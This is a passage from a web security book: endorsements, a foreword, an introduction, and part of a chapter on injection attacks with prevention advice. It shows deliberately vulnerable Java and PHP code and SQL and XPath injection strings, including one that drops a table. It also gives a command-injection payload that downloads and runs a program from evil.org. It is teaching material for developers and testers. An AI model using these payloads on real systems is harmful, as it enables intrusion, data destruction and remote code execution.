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“In the hectic rush to build Web 2.0 applications, developers continue to forget about 
security or, at best, treat it as an afterthought. Don’t risk your customer data or the 
integrity of your product; learn from this book and put a plan in place to secure your 
Web 2.0 applications.”

—Michael Howard
Principal Security Program Manager, Microsoft Corp.

“This book concisely identifies the types of attacks which are faced daily by Web 2.0 
sites. The authors give solid, practical advice on how to identify and mitigate these 
threats. This book provides valuable insight not only to security engineers, but to 
application developers and quality assurance engineers in your organization.”
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Sr. Director, Security Facebook

“This book could have been titled Defense Against the Dark Arts as in the Harry Potter 
novels. It is an insightful and indispensable compendium of the means by which 
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belongs on your bookshelf.” 

—Vint Cerf
Chief Internet Evangelist, Google

“Security on the Web is about building applications correctly, and to do so developers 
need knowledge of what they need to protect against and how. If you are a web developer, 
I strongly recommend that you take the time to read and understand how to apply all of 
the valuable topics covered in this book.”

—Arturo Bejar
Chief Security Officer at Yahoo!

“This book gets you started on the long path toward the mastery of a remarkably 
complex subject and helps you organize practical and in-depth information you learn 
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—From the Foreword by Michal Zalewski,
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FOREWORD
Every so often, I am reminded of an anecdotal Chinese curse, supposedly uttered as 

an ultimate insult to a mortal enemy. The curse? “May you live in interesting times.”
And to this, I can respond but one way: Boy, do we.

Dear reader, something has changed of recent. What we have witnessed was a sur-
prisingly rapid and efficient transition. Just a couple of years ago, the Web used to func-
tion as an unassuming tool to deliver predominantly static, externally generated content 
to those who seek it; not anymore. We live in a world where the very same old-fashioned 
technology now serves as a method to deliver complex, highly responsive, dynamic user 
interfaces—and with them, the functionality previously restricted exclusively to desktop 
software.

The evolution of the Web is both exciting, and in a way, frightening. Along with the 
unprecedented advances in the offered functionality, we see a dramatic escalation of the 
decades-old arms race between folks who write the code and those who try and break it.

I mentioned a struggle, but don’t be fooled: this is not a glorious war of black and 
white hats, and for most part, there is no exalted poetry of good versus evil. It’s a far 
more mundane clash we are dealing with here, one between convenience and security. 
Those of us working in the industry must, day after day, take sides for both of the 
opposing factions to strike a volatile and tricky compromise. There is no end to this futile 
effort and no easy solutions on the horizon.

Oh well…. The other thing I am reminded of is that whining, in the end, is a petty 
and disruptive trait. These are the dangers—and also the opportunities—of pushing the 
boundaries of a dated but in the end indispensable technology that is perhaps wonder-
fully unsuitable for the level of sophistication we’re ultimately trying to reach, but yet 
serves as a unique enabler of all the things useful, cool, and shiny.

One thing is sure: A comprehensive book on the security of contemporary web 
applications is long overdue, and to strike my favorite doomsayer chord once again, 
perhaps in terms of preventing a widespread misery, we are past the point of no return.
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What’s more troubling than my defeatism is that there are no easy ways for a new-
comer to the field to quickly memorize and apply the vast body of disjointed knowledge 
related to the topic—and then stay on top of the ever-changing landscape. From AJAX to 
Flash applications, from Document Object Model to character set decoding, in the mid-
dle of an overwhelming, omnipresent chaos, random specializations begin to emerge, 
but too few and too late.

Can this be fixed? The Web is a harsh mistress, and there’s no easy way to tame her. 
This book does not attempt to lure you into the false comfort of thinking the opposite, 
and it will not offer you doubtful and simplistic advice. What it can do is get you started 
on the long path toward the mastery of a remarkably complex subject and help you 
organize the practical and in-depth information you learn along the way.

Will the so-called Web 2.0 revolution deliver the promise of a better world, or—as the 
detractors foresee—soon spin out of control and devolve into a privacy and security 
nightmare, with a landscape littered with incompatible and broken software? I don’t 
know, and I do not want to indulge in idle speculation. Still, it’s a good idea to stack the 
odds in your favor.

—Michal Zalewski 
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INTRODUCTION
Who would have thought that advertising, music, and software as a service 

would have been a few of the driving forces to bring back the popularity of the 
Internet? From the downfall of the dot-com to the success of Google Ads, from 

Napster’s demise to Apple’s comeback with iTunes, and from the ASP (Application 
Service Provider) market collapse to the explosion of hosted software solutions (Software 
as a Service), Web 2.0 looks strangely similar to Web 1.0. However, underneath the Web 
2.0 platform, consumers are seeing a whole collection of technologies and solutions to 
enrich a user’s online experience. 

The new popularity came about due to organizations improving existing items that 
have been around awhile, but with a better offering to end users. Web 2.0 technologies 
are a big part of that, allowing applications to do a lot more than just provide static 
HTML to end users.

With any new and/or emerging technology, security considerations tend to pop-up 
right at the end or not at all. As vendors are rushing to get features out the door first or 
to stay competitive with the industry, security requirements, features, and protections 
often get left off the Software Development Life Cycle (SDLC). Hence, consumers are left 
with amazing technologies that have security holes all over them. This is not only true in 
Web 2.0, but other emerging technologies such as Voice Over IP (VoIP) or iSCSI storage.
This book covers Web 2.0 security issues from an attack and penetration perspective. 
Attacks on Web 2.0 applications, protocols, and implementations are discussed, as well 
as the mitigations to defend against these issues.

• The purposes of the book are to raise awareness, demonstrate attacks, and offer solutions 
for Web 2.0 security risks. This introduction will cover some basics on how Web 2.0 
works, to help ensure that the chapters in the rest of the book are clear to all individuals. 

What Is Web 2.0?
Web 2.0 is an industry buzz word that gets thrown around quite often. The term is often 
used for new web technology or comparison between products/services that extend 
from the initial web era to the existing one. For the purposes of this book, Web 2.0 
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addresses the new web technologies that are used to bring more interactivity to web 
applications, such as Google Maps and Live.com. Technologies such as Asynchronous 
JavaScript XML (AJAX), Cascading Style Sheets (CSS), Flash, XML, advanced usage of 
existing JavaScript, .Net, and ActiveX all fit under the Web 2.0 technology umbrella. 
While some of these technologies, such as ActiveX and Flash, have been around for 
awhile, organizations are just starting to use these technologies as core features of 
interactive web sites, rather than just visual effects.

Additionally, Web 2.0 also includes a behavioral shift on the web, where users are 
encouraged to customize their own content on web applications rather than view static/
generic content supplied by an organization. For example, YouTube.com, MySpace.com, 
and blogging are a few examples of the Web 2.0 era, where these web applications are 
based on user supplied content. In the security world, any mention of a new technology 
often means that security is left out, forgotten, or simply marginalized. Unfortunately, 
this is also true about many Web 2.0 technologies. To complicate the issue further, the 
notion of “don’t ever trust user input” becomes increasingly difficult when an entire web 
application is based on user supplied input, ranging from HTML to Flash objects. 

In addition to the technology and behavior changes, Web 2.0 can also mean the shift 
from shrink-wrapped software to software as a service. During the early web era, 
downloading software from the web and running it on your server or desktop was the 
norm, ranging from Customer Relationship Management (CRM) applications to chat 
software. Downloading and managing software soon became a nightmare to 
organizations, as endless amount of servers, releases, and patches across hundreds of 
in-house applications drove IT costs through the roof. 

Organizations such as Google and Salesforce.com began offering traditional software as 
a service, meaning that nothing is installed or maintained by an individual or IT department. 
The individual or company would subscribe to the service, access it via a web browser, and 
use their CRM or chat application online. All server management, system updates, and 
patches are managed by the software company itself. Vendors solely need to make the 
software available to their users via an online interface, such as a web browser. This trend 
changed the client-server model; where the web browser is now the client and the server is 
a rich web application hosted on a backend in the data center. This model grew to be 
enormously popular, as the reduction of IT headache, software maintenance, and general 
software issues were no longer an in-house issue, but managed by the software vendor.

As more and more traditional software companies saw the benefits, many of them 
followed the trend and began offering their traditional client-server applications online 
also, noted by the Oracle/Siebel online CRM solution. Similar to advertisement and 
music, software as a service was also around in Web 1.0, but it was called an Application 
Service Provider (ASP). ASPs failed miserably in Web 1.0, but similar to advertisements 
and music in Web 2.0, they are very healthy and strong. Hence, if a security flaw exists 
in a hosted software service, how does that affect a company’s information? Can a 
competitor exploit that flaw and gain the information for its advantage? Now that all 
types of data from different organizations are located in one place (the vendor’s web 
application and backend systems), does a security issue in the application mean game 
over for all customers?

Another aspect of Web 2.0 are mash-up and plug-in pages. For example, many web 
applications allow users to choose content from a variety of sources. An RSS feed may 



come from one source and weather plug-in may come from another. While content is 
being uploaded from a variety of sources, the content is hosted on yet another source, 
such as a personalized Google home page or a customized CRM application with feeds 
from different parts of the organization. These mash-up and plug-in pages give users 
significant control over what they see. With this new RSS and plug-in environment, the 
security model of the application gets more complex. Back in Web 1.0, a page such as 
CNN.com would be ultimately responsible for the content and security of the site. 
However, now with many RSS and plug-in feeds, how do Google and Microsoft protect 
their users from malicious RSS feeds or hostile plug-ins? These questions make the 
process of securing Web 2.0 pages with hundreds of sources a challenging task, both for 
the software vendors as well as the end users. 

Similar to many buzz words on the web, Web 2.0 is constantly being overloaded and 
can mean different things to different topics. For the purposes of the book, we focus on 
the application frameworks, protocols, and development environments that Web 2.0 
brings to the Internet. 

Web 2.0’s Impact on Security
The security impact on Web 2.0 technologies includes all the issues on Web 1.0 as well an 
expansion of the same issues on new Web 2.0 frameworks. Thus, Web 2.0 simply adds to 
the long list of security issues that may exist on web applications. Cross-site scripting (XSS) 
is a very prevalent attack with Web 1.0 applications. In Web 2.0, there can actually be more 
opportunities for XSS attacks due to rich attack surfaces present with AJAX. For example, 
with Web 2.0 AJAX applications, inserting XSS attacks in JavaScript streams, XML, or JSON 
is also possible. An example of downstream JavaScript array is shown here:

var downstreamArray = new Array(); 

downstreamArray[0] = "document.cookie";

Notice that the <script> tag is not used, but simply the document.cookie value 
(highlighted in bold) since the code is already in a JavaScript array.

In addition to XSS, injection attacks on Web 2.0 still target SQL and Lightweight 
Directory Access Protocol (LDAP), but now include XPATH/XQUERY, XML, JSON, and 
JavaScript arrays. Cross-site request forgery (CSRF) attacks are still present in Web 2.0, 
but they can now be worse with bidirectional CSRF (JavaScript hijacking). Further, the 
inconsistent security limits set on XMLHttpRequest (XHR) can leave Web 2.0 applica-
tions that are vulnerable to CSRF exposed to worm type behavior, automatic prorogation 
of a security flaw, rather that a simple one-click attack that would appear on a Web 1.0 
application. For example, since many Web 2.0 applications contain integrated interaction 
between users, when an application flaw such as XSS appears in the application, the 
propagation of the flaw from one user to the other is even more possible. The prorogat-
ing functionality was shown clearly with the Samy worm on MySpace.com, which is 
discussed in Chapter 5 and the first case study. 

Another security impact in addition to worm propagation is the idea of cross-domain 
attacks. Cross-domain attacks allow attackers to publish malicious content to web users 
without users’ knowledge or permission. While XHR specifically prevents cross-domain 
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interaction, much to the developer’s dismay, there is some flexibility in certain Web 2.0 
technologies. For example, Flash has XHR restrictions, but it has a method to support 
cross-domain functionality. The following code shows an example of the flexibility from 
crossdomain.xml:

<cross-domain-policy>

      <allow-access-from domain="www.cybervillans.com" /> 

</cross-domain-policy>

In addition to the domain name, a wildcard can be used such as domain="*".
(Many web developers are bypassing XHR security controls to add cross-domain 
functionality to their web applications.) Cross-domain functionality becomes very scary 
when CSRF attacks are apparent. As noted, CSRF can force a user to perform actions 
without his or her knowledge or permission. With the ability of cross-domain support, 
CSRF attacks can allow an attacker or phisher to force actions across domains with a 
single click. Hence, clicking a story from a user’s blog might actually reduce your bank 
account by $10,000. 

Another risk with Web 2.0 is the ability to discover and enumerate attack surfaces in 
a far easier fashion than with a Web 1.0 application. For example, Web 2.0 applications 
often use AJAX frameworks. These frameworks contain lots of information about how 
the applications work. The framework information is often downloaded to a user’s 
browser via a .js file. This information makes it easy for an attacker to enumerate possible 
attack surfaces. On the flip side, while discovery may be easy, manipulating calls to the 
application may not be likewise. Unlike Web 1.0, where hidden form fields often 
contained information used in GET and POST parameters, some Web 2.0 frameworks 
often require a proxy to capture content, enumerate fields for possible injection, and then 
submit to the server. Though not as straightforward as Web 1.0, the attack surfaces are 
often larger. 

Software as a service solution, while not a technology but rather a trend in the Web 2.0 
space, has had a significant impact on security. Unlike in-house applications that run in 
an organization’s own data center, hosted software solution affect security significantly. 
An XSS flaw in an in-house CRM application simply allows a malicious employee to see 
another employee’s information; however, the same flaw in a hosted CRM application 
can allow one organization to see the sales leads of another company. Of course, the issues 
are not limited to CRM applications, but sensitive data, confidential information, and 
regulated data, such as health information and nonpublic personal information. Hosted 
solutions hold data of all types from all types of customers, hence their security of their 
applications far outweigh an in-house application accessible only to employees. 

Overall, Web 2.0’s impact on security is large. Borders between data created by the 
organization and data supplied by the web user are disappearing, hosted solutions are 
storing content from hundreds of organizations accessible through the same web 
interface, and developers are deploying new technologies without understanding the 
security implications of them. These issues have all impacted security in the online 
environment.



BOOK OVERVIEW
The focus of this book is Web 2.0 application security. As mentioned, many Web 1.0 
attacks are carried over to the Web 2.0 world. This book will show how this is exactly com-
pleted—specifically, how old attacks, such as XSS, will appear in Web 2.0 applications and 
technologies. In addition to applying old attacks to this new technology, which is a theme 
in the security world, this book discusses how older technologies are being used more 
heavily on the web. Technologies such as ActiveX and Flash have been around for while, 
but they are being used more and more in Web 2.0 applications. Lastly, newer attack class-
es, such as cross-domain attacks, will be discussed. These attacks significantly increase the 
attack surface as end users can be attacked on one domain by visiting another. 

HOW THIS BOOK IS ORGANIZED
To ensure that the book covers as many topics as possible with Web 2.0 content, it is 
divided into four different parts. In addition to each chapter within a part, a case study 
is also included. The case study is used to put practical application to each topic covered 
in the chapters.

Part I
Part I begins with common injection attacks. This chapter discusses injection attacks that 
have been around for awhile, such as SQL injection, as well as new injection issues 
prevalent in Web 2.0, such as XPath and XXE (XML eXternal Entity) attacks. XXE attacks 
attempt to exploit RSS document and feeds in web applications, a common theme in 
Web 2.0. Chapter 2 discusses Cross-Site Scripting (XSS), which has been around for a 
long while, but has evolved in Web 2.0. This chapter shows how to take the existing XSS 
attack class and apply it to Web 2.0 technologies, such as AJAX and Flash. In addition to 
Web 2.0 technologies, XSS attacks are also discussed in mobile devices. Many popular 
web applications have mobile counterparts. The mobile applications generally offer the 
same functionality but less security features. While these applications are for mobile 
devices, they are still accessible from browsers such as IE and Firefox. Part I of the book 
concludes with the first case study, an in-depth review of the Samy worm. The Samy 
worm was the first web application worm, and it spread so quickly on MySpace.com 
that the web site had to be shut down in order to clean it up. 

Part II
The next part of the book, “Next Generation Web Application Attacks,” covers the new 
attack classes that appear with Web 2.0 applications. Chapter 3 starts discussion with 
cross-domain attacks. As mentioned, web sites that allow for cross-domain functionality 
are vulnerable to self-prorogating worms and viruses. This chapter shows how that has 
been possible with common security vulnerabilities involving AJAX and CSRF, a rela-
tively new attack class that impacts both Web 1.0 and Web 2.0 applications. Chapter 4 
focuses on the ways to abuse JavaScript, including Web 2.0 applications using AJAX as 
well as Web 1.0 applications using powerful JavaScript functions. This chapter shows 
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that the things that make AJAX and JavaScript attractive for developers, including its 
agility, flexibility, and powerful functions, are the same things that attackers love about 
it. It shows how to use malicious JavaScript/AJAX to compromise user accounts, web 
applications, or cause general disruption on the Internet. The key topics in this chapter 
are common tools for JavaScript manipulation as well as the use of malicious AJAX. 
Chapter 5 focuses on .Net Security. ASP.Net development environments are quite com-
mon on modern web applications. .Net offers security protections against many attack 
classes; however, many attack surfaces still exist. The .Net chapter focuses on attacks on 
.Net enabled applications, but also describes the many protections that .Net brings to the 
table. Part II concludes with a case study on cross-domain attacks. This case study walks 
through a real-world example in which a user is tricked into transferring a large amount 
of money from an online financial account by simply reading a news article on the web. 
The case study shows how severely the security impact of cross-domain issues can be. 

Part III
The third part of this book is dedicated to AJAX. Since Web 2.0 web applications often 
involve AJAX, dedicating two full chapters to it was barely enough to cover the basics. 
Chapter 6 begins with an overview of the different types of AJAX applications and 
methods to perform discovery/enumeration. When targeting AJAX applications, 
different enumeration must be performed when compared to Web 1.0 applications. 
Enumeration of the type of AJAX application and how it interacts on the wire is covered 
here. Additionally, since AJAX applications often use an AJAX framework, an overview 
of the frameworks themselves is provided. Chapter 7 rounds out the AJAX framework 
discussion by walking through each one and discussing their security exposures. With 
many frameworks to choose from, the chapter discusses the most popular frameworks 
in the market. The chapter dives deep into each of them; showing their security strengths 
and weaknesses. For example, some AJAX frameworks offer built-in protection for CSRF 
attacks, while others require that developers build their own protections into their 
applications. Part III concludes with a case study on Web 2.0 migration. This case study 
walks through the risk and exposures an application will have if it is migrated to a Web 
2.0 framework. Specifically, the case study discusses common exposures with internal 
methods, debug functionality, hidden URLs, and full functionality migration.

Part IV
The last part of the book is on thick clients. The first chapter in this part covers ActiveX 
security. ActiveX has long been a curse word in the security world due to its security 
flaws, combined with the fact that it contains powerful functions, is open to other users, 
and is trusted heavily by earlier versions of Internet Explorer. ActiveX is definitely not a 
new technology, but is now often used in Web 2.0 applications. For example, many Web 
2.0 applications are offering more functionality to users with the client-server model. In 
the case of Web 2.0, the client is delivered using an ActiveX control and the server is the 
web application itself. Users obtain more functionality by having a Win32 client on their 
desktop that interacts with the web applications, but also open themselves up to more 
security exposures. While it does not use ActiveX, the Google desktop is a good example 
of how Web 2.0 applications are being used with Win32 clients.



The next chapter in this section is about Flash security. Like ActiveX, Flash has been 
around for awhile, but is used more now on the web than ever before. Web sites such as 
YouTube.com have shown how Flash can be used to do more than simply show a cool 
web design created by graphic arts majors. Flash has shown that web applications can be 
used to display rich content rather than static text in a very easy way. Sites ranging from 
YouTube.com to online advertisers have jumped on the bandwagon. As always, when 
using rich dynamic content, the security challenges often get more complex and cumber-
some. This chapter shows some of the basics of the Flash security model. Part IV of the 
book concludes with a case study on the security changes of Internet Explorer 7. This 
case study is a fitting end to the book, as browser security has shown to have a signifi-
cant impact on web applications. The lack of a browser security model has proven to 
enable common attacks against web applications as well as allow phishers/scanners to 
exploit trust assumptions built in to IE and Firefox. Mark Andreessen and the rest of the 
Netscape crew had many challenges in 1993, so we can forgive how browser security 
decisions made in 1993 still affect us years later. While much has changed on the Internet, 
the “browser security model,” or the lack thereof, has not. IE 7 is Microsoft’s move to 
change that trend in the next few years. 

THE HACKING EXPOSED METHODOLOGY
As with the entire Hacking Exposed series, the basic building blocks of this book are the 
attacks and countermeasures discussed in each chapter.

The attacks are highlighted here as they are throughout the Hacking Exposed series:

This Is an Attack Icon
Highlighting attacks like this makes it easy to identify specific penetration-testing tools 
and methodologies, and points you right to the information you need to convince 
management to fund your new security initiative.

Each attack is also accompanied by a Risk Rating, scored exactly as in Hacking
Exposed:
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Popularity: The frequency of use in the wild against live targets: 1 being most rare, 
10 being widely used

Simplicity: The degree of skill necessary to execute the attack: 10 being little or no 
skill, 1 being seasoned security programmer

Impact: The potential damage caused by successful execution of the attack: 1 
being revelation of trivial information about the target, 
10 being superuser account compromise or equivalent

Risk Rating: The preceding three values are averaged to give the overall risk rating 
and rounded to the next highest whole number
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This Is a Countermeasure Icon

Other Visual Aids
We’ve also made prolific use of visually enhanced

icons to highlight those nagging little details that often get overlooked.

ONLINE RESOURCES AND TOOLS
The following online resources may be helpful as you consider the information presented 
in this book:

www.isecpartners.com/tools.html
www.isecpartners.com/HackingExposedWeb20.html

A FINAL WORD TO OUR READERS
The Web 2.0 term gets abused quite often; however, there is new technology behind the 
hype. Web 2.0 is a collection of a lot of new, emerging, and existing technologies that 
make web sites work in some cases and simply more interesting in other cases. Unfortu-
nately, in the World Wide Web, the words new, emerging, and exciting usually mean the 
absence of security (in favor of more functionality or improved performance, every secu-
rity person’s favorite discussion). When reading the book, please note the authors have 
attempted to focus purely on newer technologies being used on the web. Some of them 
fall into the Web 2.0 umbrella, such as AJAX, and some of them don’t, such as ActiveX. 
Either way, the authors have attempted to discuss many next-generation web technolo-
gies to give readers an understanding of the new attack classes on the web as well as the 
older attack classes with updated Web 2.0 content.

www.isecpartners.com/tools.html
www.isecpartners.com/HackingExposedWeb20.html
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Injection attacks were around long before Web 2.0 existed, and they are still amazingly 
common to find. This book would be incomplete without discussing some older 
 common injection attacks, such as SQL injection and command injection, and newer 

injection issues, such as XPath injection.

HOW INJECTION ATTACKS WORK
Injection attacks are based on a single problem that persists in many technologies: namely, 
no strict separation exists between program instructions and user data (also referred to as 
user input). This problem allows for attackers to sneak program instructions into places 
where the developer expected only benign data. By sneaking in program instructions, the 
attacker can instruct the program to perform actions of the attacker’s choosing.

To perform an injection attack, the attacker attempts to place data that is interpreted 
as instructions in common inputs. A successful attack requires three elements:

• Identifying the technology that the web application is running. Injection attacks 
are heavily dependent on the programming language or hardware possessing 
the problem. This can be accomplished with some reconnaissance or by simply 
trying all common injection attacks. To identify technologies, an attacker can 
look at web page footers, view error pages, view page source code, and use 
tools such as nessus, nmap, THC-amap, and others.

• Identifying all possible user inputs. Some user input is obvious, such as HTML 
forms. However, an attacker can interact with a web application in many ways. 
An attacker can manipulate hidden HTML form inputs, HTTP headers (such as 
cookies), and even backend Asynchronous JavaScript and XML (AJAX) requests 
that are not seen by end users. Essentially all data within every HTTP GET and 
POST should be considered user input. To help identify all possible user inputs to 
a web application, you can use a web proxy such as WebScarab, Paros, or Burp.

• Finding the user input that is susceptible to the attack. This may seem diffi cult, 
but web application error pages sometimes provide great insight into what user 
input is vulnerable.

The easiest way to explain injection attacks is through example. The following SQL 
injection example provides a solid overview of an injection attack, while the other 
examples simply focus on the problem with the specific language or hardware.

SQL Injection
Popularity: 8

Simplicity: 8

Impact: 9

Risk Rating: 9
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Attackers use SQL injection to do anything from circumvent authentication to gain 
complete control of databases on a remote server.

SQL, the Structured Query Language, is the de facto standard for accessing databases. 
Most web applications today use an SQL database to store persistent data for the 
application. It is likely that any web application you are testing uses an SQL database in 
the backend. Like many languages, SQL syntax is a mixture of database instructions and 
user data. If a developer is not careful, the user data could be interpreted as instructions, 
and a remote user could perform arbitrary instructions on the database.

Consider, for example, a simple web application that requires user authentication. 
Assume that this application presents a login screen asking for a username and password. 
The user sends the username and password over some HTTP request, whereby the web 
application checks the username and password against a list of acceptable usernames 
and passwords. Such a list is usually a database table within an SQL database. 

A developer can create this list using the following SQL statement:

CREATE TABLE user_table ( 

  id INTEGER PRIMARY KEY, 

  username VARCHAR(32), 

  password VARCHAR(41)

);

This SQL code creates a table with three columns. The first column stores an ID that
will be used to reference an authenticated user in the database. The second column holds 
the username, which is arbitrarily assumed to be 32 characters at most. The third column 
holds the password column, which contains a hash of the user’s password, because it is 
bad practice to store user passwords in their original form.

We will use the SQL function PASSWORD() to hash the password. In MySQL, the 
output of PASSWORD() is 41 characters.

Authenticating a user is as simple as comparing the user’s input (username and 
password) with each row in the table. If a row matches both the username and password 
provided, then the user will be authenticated as being the user with the corresponding 
ID. Suppose that the user sent the username lonelynerd15 and password mypassword. The 
user ID can be looked up:

SELECT id FROM user_table WHERE username='lonelynerd15' AND 

password=PASSWORD('mypassword')

If the user was in the database table, this SQL command would return the ID 
associated with the user, implying that the user is authenticated. Otherwise, this SQL 
command would return nothing, implying that the user is not authenticated.

Automating the login seems simple enough. Consider the following Java snippet 
that receives the username and password from a user and authenticates the user via an 
SQL query:

String username = req.getParameter("username");

String password = req.getParameter("password");
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String query = "SELECT id FROM user_table WHERE " +

    "username = '" + username + "' AND " +

    "password = PASSWORD('" + password + "')";

ResultSet rs = stmt.executeQuery(query);

int id = -1; // -1 implies that the user is unauthenticated.

while (rs.next()) {

      id = rs.getInt("id");

}

The first two lines grab the user input from the HTTP request. The next line constructs 
the SQL query. The query is executed, and the result is gathered in the while() loop. If 
a username and password pair match, the correct ID is returned. Otherwise, the id stays 
-1, which implies the user is not authenticated.

If the username and password pair match, then the user is authenticated. Otherwise, 
the user will not be authenticated, right?

Wrong! There is nothing stopping an attacker from injecting SQL statements in the 
username or password fields to change the SQL query. 

Let’s re-examine the SQL query string:

String query = "SELECT id FROM user_table WHERE " +

    "username = '" + username + "' AND " +

    "password = PASSWORD('" + password + "')";

The code expects the username and password strings to be data. However, an 
attacker can input any characters he or she pleases. Imagine if an attacker entered the 
username ’OR 1=1 -- and password x; then the query string would look like this:

SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password 

= PASSWORD('x')

The double dash (--) tells the SQL parser that everything to the right is a comment, 
so the query string is equivalent to this:

SELECT id FROM user_table WHERE username = '' OR 1=1

The SELECT statement now acts much differently, because it will now return IDs 
where the username is a zero length string ('') or where 1=1; but 1=1 is always true! So 
this statement will return all the IDs from user_table.

In this case, the attacker placed SQL instructions ('OR 1=1 --) in the username
field instead of data.
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Choosing Appropriate SQL Injection Code
To inject SQL instructions successfully, the attacker must turn the developer’s existing 
SQL instructions into a valid SQL statement. For instance, single quotes must be closed. 
Blindly doing so is a little difficult, and generally queries like these work:

• ' OR 1=1 --

• ') OR 1=1 --

Also, many web applications provide extensive error reporting and debugging 
information. For example, attempting ' OR 1=1 -- blindly in a web application often 
gives you an educational error message like this:

Error executing query: You have an error in your SQL syntax; check the 

manual that corresponds to your MySQL server version for the right 

syntax to use near 'SELECT (title, body) FROM blog_table WHERE 

cat='OR 1=1' at line 1

The particular error message shows the whole SQL statement. In this case, it appears 
that the SQL database was expecting an integer, not a string, so the injection string 
OR 1=1 --, without the proceeding apostrophe would work.

With most SQL databases, an attacker can place many SQL statements on a single line 
as long as the syntax is correct for each statement. For the following code, we showed 
that setting username to ' OR 1=1 and password to x returns that last user:

String query = "SELECT id FROM user_table WHERE " +

    "username = '" + username + "' AND " +

    "password = PASSWORD('" + password + "')";

However, the attacker could inject other queries. For example, setting the username to 
this,

' OR 1=1; DROP TABLE user_table; --

would change this query to this,

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE 

user_table; -- ' AND password = PASSWORD('x');

which is equivalent to this:

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE 

user_table;

This statement will perform the syntactically correct SELECT statement and erase the 
user_table with the SQL DROP command.
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Injection attacks are not necessary blind attacks. Many web applications are developed 
with open-source tools. To make injection attacks more successful, download free or 
evaluation copies of products and set up your own test system. Once you have found an 
error in your test system, it is highly probable that the same issue will exist on all web 
applications using that tool.

Preventing SQL Injection
The core problems are that strings are not properly escaped or data types are not 
constrained. To prevent SQL injection, first constrain data types (that is, if the input 
should always be an integer value, then treat it as an integer for all instances in which it 
is referenced). Second, escape user input. Simply escaping the apostrophe (') to backslash-
apostrophe (\') and escaping backslash (\) to double backslash (\\) would have 
prevented the example attack. However, escaping can be much more complex. Thus, we 
recommend finding the appropriate escape routine for the database you are using.

By far the best solution is using prepared statements. Prepared statements were 
originally designed to optimize database connectors. At a very low level, prepared 
statements strictly separate user data from SQL instructions. Thus, when using prepared 
statements properly, user input will never be interpreted as SQL instructions.

XPath Injection
Popularity: 5

Simplicity: 7

Impact: 9

Risk Rating: 8

When sensitive data is stored in XML rather than an SQL database, Attackers can use 
XPath injection to do anything from circumventing authentication to reading and writing 
data on the remote system.

XML documents are getting so complex that they are no longer human readable—
which was one of the original advantages of XML. To sort through complex XML 
documents, developers created the XPath language. XPath is a query language for XML 
documents, much like SQL is a query language for databases. Like SQL, XPath also has 
injection issues.

Consider the following XML document identifying IDs, usernames, and passwords 
for a web application:

<?xml version="1.0" encoding="ISO-8859-1"?> 

<users>

  <user>

    <id> 1 </id> 

    <username> admin </username> 

    <password> xpathr00lz </password> 
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  </user> 

  <user>

    <id> 2 </id> 

    <username> testuser </username> 

    <password> test123 </password> 

  </user> 

  <user>

    <id> 3 </id> 

    <username> lonelyhacker15 </username> 

    <password> mypassword </password> 

  </user> 

</users>

A developer could perform an authentication routine with the following Java code:

String username = req.getParameter("username");

String password = req.getParameter("password");

XPathFactory factory = XPathFactory.newInstance();

XPath xpath = factory.newXPath();

File file = new File("/usr/webappdata/users.xml");

InputSource src = new InputSource(new FileInputStream(file));

XPathExpression expr = xpath.compile("//users[username/text()=' " +

    username + " ' and password/text()=' "+ password +" ']/id/text()");

String id = expr.evaluate(src);

This code loads up the XML document and queries for the ID associated with the 
provided username and password. Assuming the username was admin and the 
password was xpathr00lz, the XPath query would be this:

//users[username/text()='admin' and password/text()='xpathr00lz']/id/

text()

Notice that the user input is not escaped in the Java code, so an attacker can place any 
data or XPath instructions in this XPath query, such as setting the password to ' or '1'='1; 
the query would then be this:

//users[username/text()='admin' and password/text()='' or '1'='1' ]/id/

text()

This query would find the ID where the username is admin and the password is 
either null (which is high unlikely) or 1=1 (which is always true). Thus, injecting ' or 
'1'='1 returns the ID for the administrator without the attacker knowing the 
administrator’s password.
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Note that XPath is a subset of a larger XML querying language called XQuery. Like 
XPath and SQL, XQuery possess identical injection problems. With a little knowledge of 
XQuery syntax and after reading this chapter, you should have sufficient knowledge to 
be able to test for XQuery injections, too.

Preventing XPath Injection
The process for fixing XPath injection is nearly identical to that for fixing SQL injections. 
Namely, constrain data types and escape strings. In this case, you must escape with 
HTML entity encodings. For example, an apostrophe is escaped to &apos;. As noted 
earlier, use the appropriate escape routine accompanying the XPath library you are 
using, as XPath implementations differ.

Command Injection
Popularity: 8

Simplicity: 8

Impact: 10

Risk Rating: 10

A successful command injection attack gives the attacker complete control of the 
remote system.

When user input is used as part of a system command, an attack may be able to inject 
system commands into the user input. This can happen in any programming language; 
however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, 
Phython, and C#. Consider the following PHP code snippet:

<?php

$email_subject = "some subject";

if ( isset($_GET{'email'})) {

  system("mail " + $_GET{'email'}) + " -s '" + $email_subject + 

      "' < /tmp/email_body", $return_val);

}

?>

The user sends his or her e-mail address in the email parameter, and that user input 
is placed directly into a system command. Like SQL injection, the goal of the attacker 
is to inject a shell command into the email parameter while ensuring that the code before 
and after the email parameter is syntactically correct. Consider the system() call 
as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle 
piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] –s 'some subject' < /tmp/email_body
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The puzzle piece needs to ensure that the mail command runs and exits properly. For 
example, mail --help will run and exit properly. Then the attacker could add additional 
shell commands by separating the commands with semicolons (;). Dealing with the puzzle 
piece on the other side is as simple as commenting it out with the shell comment symbol (#). 
Thus, a useful puzzle piece for the email parameter might be this:

--help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail --help; wget http://evil.org/attack_program; 

./attack_program # s 'some subject' < /tmp/email_body

This is equivalent to this:

mail --help; wget http://evil.org/attack_program; ./attack_program

This runs mail --help and then downloads attack_program from evil.org and 
executes it, allowing the attacker to perform arbitrary commands on the vulnerable 
web site.

Preventing Command Injection
Preventing command injection is similar to preventing SQL injection. The developer 
must escape the user input appropriately before running a command with that input. It 
may seem like escaping semicolon (;) to backslash-semicolon (\;) would fix the problem. 
However, the attacker could use double-ampersand (&&) or possibly double-bar (||) 
instead of the semicolon. The escaping routine is heavily dependent on the shell executing 
the command. So developers should use an escape routine for the shell command rather 
than creating their own routine.

Directory Traversal Attacks
Popularity: 9

Simplicity: 9

Impact: 8

Risk Rating: 8

Attackers use directory traversal attacks to read arbitrary files on web servers, such 
as SSL private keys and password files.

